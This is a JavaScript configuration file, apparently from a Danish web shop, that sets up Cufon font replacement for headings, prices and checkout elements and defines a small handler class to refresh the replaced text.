		Cufon.replace('.sifr-bliss2-heavy'); /* Not included */
		//Cufon.replace('.fryd .title1');
		Cufon.replace('.faktaboks .title1');
		Cufon.replace('.faktaboks H3');
		//Cufon.replace('.insp_teaser_h1');
		Cufon.replace('.stilinfo H4');
		Cufon.replace('.404container H1');
		Cufon.replace('.404container H2');
		Cufon.replace('#frydbilleder .relatedproductstitle');
//		Cufon.replace('#pricetext');
		Cufon.replace('.productprice'); // Case 22932
		//Nye, skal erstatte ovenstående;
		Cufon.replace('.bliss');
		//Different sizes placed here instead of css to avoid ugly headlines when no cufon is present
		Cufon.replace('.bliss.cufon-10px', {
 			fontSize: '14px'
 		});
 		Cufon.replace('.bliss.cufon-11px', {
 			fontSize: '15px'
 		});
 		Cufon.replace('.bliss.cufon-12px', {
 			fontSize: '17px'
 		});
 		Cufon.replace('.bliss.cufon-13px', {
 			fontSize: '19px'
 		});
 		Cufon.replace('.bliss.cufon-19px', {
 			fontSize: '20px'
 		});
 		Cufon.replace('.bliss.cufon-20px', {
 			fontSize: '22px'
 		});
 		Cufon.replace('.bliss.cufon-24px', {
 			fontSize: '28px'
 		});
		Cufon.replace('.bliss.cufon-25px', {
 			fontSize: '30px'
 		});
 		Cufon.replace('.bliss.cufon-26px', {
 			fontSize: '31px'
 		});
 		Cufon.replace('.bliss.cufon-28px', {
 			fontSize: '34px'
 		});
		
		//----------
		// Checkout
		//----------
		
		//regular
		//generelle
		Cufon.replace('#tabtitle');
		Cufon.replace('#tabdescription');
		Cufon.replace('#kundeservice h5');
		
		//tab 4
		Cufon.replace('.summary span');
		
		// extrabold
		//generelle
		Cufon.replace('#check_tabs li span');
		Cufon.replace('#handel_btn span');
		Cufon.replace('#kundeservice h3');
		Cufon.replace('#kundeservice h4');

		// tab 1
		Cufon.replace('#handel_btn span');
		Cufon.replace('#shoppingcart_items_labels div');
		Cufon.replace('#shoppingcart_price_big_collection_checkout div');
		Cufon.replace('#shoppingcart_total_big');

		// tab 3
		Cufon.replace('#bs_heading');
		Cufon.replace('#bs_stats');
		Cufon.replace('.day');
		
		//bold
		//generelle
		Cufon.replace('#handelsdiv h2');
		//tab 1
		Cufon.replace('.shoppingcart_item_price');
		//tab 2
		Cufon.replace('#receiver h3');
		//tab 3
		Cufon.replace('#receiver h2');
		Cufon.replace('#delivery_time_receiver');
		//tab 4
		Cufon.replace('.resumetop h1');
		Cufon.replace('.summary td');
		Cufon.replace('.productsCol thead td');
		
		// medium
		Cufon.replace('.navBtn');
		Cufon.replace('.navBtn span');
		Cufon.replace('#loginBtn');

		// Cendia replacements
		Cufon.set('fontFamily','Cendia');
		Cufon.replace('.cendia');
		//Cufon.replace('.fryd .title2');
		Cufon.replace('.faktabox .title2');
		//Cufon.replace('.insp_teaser_h2');
		Cufon.replace('.cendia.cufon-26px');
		Cufon.replace('.besparelse .title1');
		Cufon.replace('.besparelse h3 span');
		Cufon.replace('.sifr-cendia-italic');

		//Size-specific:
		//Different sizes placed here instead of css to avoid ugly headlines when no cufon is present
		Cufon.replace('.cendia.cufon-10px', {
 			fontSize: '14px'
 		});
 		Cufon.replace('.cendia.cufon-11px', {
 			fontSize: '15px'
 		});
 		Cufon.replace('.cendia.cufon-12px', {
 			fontSize: '17px'
 		});
 		Cufon.replace('.cendia.cufon-13px', {
 			fontSize: '19px'
 		});
 		Cufon.replace('.cendia.cufon-19px', {
 			fontSize: '20px'
 		});
 		Cufon.replace('.cendia.cufon-20px', {
 			fontSize: '22px'
 		});
 		Cufon.replace('.cendia.cufon-24px', {
 			fontSize: '28px'
 		});
		Cufon.replace('.cendia.cufon-25px', {
 			fontSize: '30px'
 		});
 		Cufon.replace('.cendia.cufon-26px', {
 			fontSize: '31px'
 		});
 		Cufon.replace('.cendia.cufon-28px', {
 			fontSize: '34px'
 		});

		this.log('Configured');
    },
	refreshEventObsolete: function(evt) {
		this.log('WARNING: You really should fire custom:systemfontreplace instead of '+evt.eventName);
		this.refreshEvent(evt);
	},
	refreshEvent: function(evt) {
		if (this.enabled) {
			this.log('Refresh event received');
			this.config();
			this.refresh();
		} else {
			this.log('Refresh event received - and ignored on request');
		}
	},
	refresh: function() {
		Cufon.now();
		this.log('Refreshed');
	}
});

new CufonHandler();

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                
